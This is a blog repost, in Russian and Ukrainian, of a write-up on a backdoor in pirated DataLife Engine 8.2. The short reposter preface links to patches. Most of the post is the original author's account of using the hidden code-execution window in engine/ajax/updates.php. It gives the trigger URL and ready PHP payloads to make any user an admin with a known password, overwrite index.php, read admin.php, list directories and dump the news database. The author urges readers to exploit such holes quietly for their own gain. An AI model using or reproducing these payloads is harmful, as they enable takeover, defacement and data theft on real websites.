Бэкдор в нулле DLE 8.2

По инету прошла серия беспокойств, в связи с тем что выложили инфу по бэкдору к DLE 8.2 nulled от товарища Zloy
Почитал, нашел кое что интересное и для себя, отправляю статью в копилку.
p.s. Патч доступен http://dle.in.ua/main/6469-vazhno.html
p.s.2 Также советую проверить http://dle.in.ua/bags/6702-nedostatochnaya-filtraciya-vxodyashhix-dannyx.html
Дальше без изменений от автора web-marinell..
Доброго дня шановна громадо.
Хотілося б розповісти вам дещо цікаве. А саме ось що - з виходом релізу ДЛЕ 8.2 я як звичайно викачала нулл і почала його досліджувати. Мою увагу привернув файлик engine/ajax/updates.php а саме увагу привернув фрагмент коду, котрий не тільки виводив зручне віконечко при певному запиті, але й дозволяв виконувати будь-який пхп-скрипт переданий запистом POST. Я досить довгий час користувалася цим "віконцем" аби підвищити тІЦ свого сайту, але з'явилися довбойоби, яким просто пощастило впіймати сліди одного з тих хто користувався цим як і я. Але вони не просто виявили вікно, але й проявивши повний тупізм, розтеревенили про це кому тільки можливо.
Саме тому хотілось би поділитися з вами деякими прийомами розвалу сайтів за допомогою цього "віконця":
1. По перше заходимо на сайт жертві - http://site.ru/engine/ajax/updates.php?wert=hack
2. Вводимо в віконце пхп код з додержанням всіх правил кодування, натискаємо кнопочку і вуаля!
3. Тепер скрипти, котрі я використовувала для взлому:
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | //    Робимо адміном та змінюємо пароль будь-якого користувача і одразу ж виводимо данні на екран:       $pass=md5(md5('123456789'));     $db->query( "UPDATE " . USERPREFIX . "_users SET password='".$pass."', lastdate=0, user_group=1 where name='ІМ'Я_КОРИСТУВАЧА'" );       $user_query_name = "SELECT * FROM " . USERPREFIX . "_users WHERE name='ІМ'Я_КОРИСТУВАЧА'";     $user_q_id = $db->query($user_query_name);       while($row = $db->get_row($user_q_id)){     $x=array_keys($row);     echo <<<HTML     <div style="margin: 10px; padding: 10px; border: 1px solid #555555; background-color: #FFFFCC">     HTML;     for($i=0;$i<count($x);$i++){     echo '<div style="padding-bottom: 3px"><b>'.$x[$i].'</b> '.$row[$x[$i]].'</div>';     }     echo '</div>';     } | 
| 1 2 3 4 5 6 7 8 9 10 |     //Перезаписуємо певний файл:       $file=ROOT_DIR.'/index.php';     @chmod($file,0777);     $write = 'Якийсь текст';     $fp = fopen($file, "w");     $save = fwrite($fp, $write);     fclose($fp); | 
| 1 2 3 4 5 6 7 8 9 10 | //    Читаємо файл:       $cv=file_get_contents(ROOT_DIR.'/admin.php');     $cv=htmlentities($cv);     $cv=preg_replace("#\n#","<br />",$cv);     echo '<div style="padding-left: 20px; padding-right: 20px">     <div style="padding-left: 10px; border: 1px solid #111111; padding-right: 10px; padding-top: 10px; padding-bottom: 10px; background-color: #FFCCFF">     '.$cv.'</div></div>'; | 
| 1 2 3 4 5 6 7 8 9 10 11 12 | //    Щось накшталт файлового менеджеру:       $dir=ROOT_DIR.'/engine/data';     $xcv=scandir($dir);     ksort($xcv);     for($i=0;$i<count($xcv);$i++){     $qwe=substr(sprintf('%o', fileperms($dir.'/'.$xcv[$i])), -4);     if(filetype($dir.'/'.$xcv[$i])=='dir'){ $color='#FF0000'; }else{ $color='#000066'; }     echo $qwe.' - <font color="'.$color.'">'.$xcv[$i].'</font><br />';     } | 
| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | //    Виводимо відразу всі новини з бази данних:       $user_query_name = "SELECT * FROM " . USERPREFIX . "_post ORDER BY date DESC";     $user_q_id = $db->query($user_query_name);     while($row = $db->get_row($user_q_id)){     echo <<<HTML     <div style="margin: 10px; padding: 10px; border: 1px solid #555555; background-color: #FFCCFF">     <div style="border-bottom: 1px dotted #BBBBBB; padding-bottom: 3px"><center><h3>{$row['title']}</h3></center></div>     <div style="border-bottom: 1px dotted #BBBBBB; padding-bottom: 3px"><b>Автор:</b> {$row['autor']}</div>     <div style="border-bottom: 1px dotted #BBBBBB; padding-bottom: 3px"><b>Дата публикации:</b> {$row['date']}</div>     <div style="border-bottom: 1px dotted #BBBBBB; padding-bottom: 3px"><b>Краткая новость:</b> {$row['short_story']}</div>     <div style="border-bottom: 1px dotted #BBBBBB; padding-bottom: 3px"><b>Полная новость:</b> {$row['full_story']}</div>     </div>     HTML;     } | 
Користуйтесь на здоров'я, і пам'ятайте, знайшовши подібне "віконце" не варто про це кричати на весь світ, варто використовувати це в своїх інтересах.
Author: | Rating: / | Tags:

Leave a Reply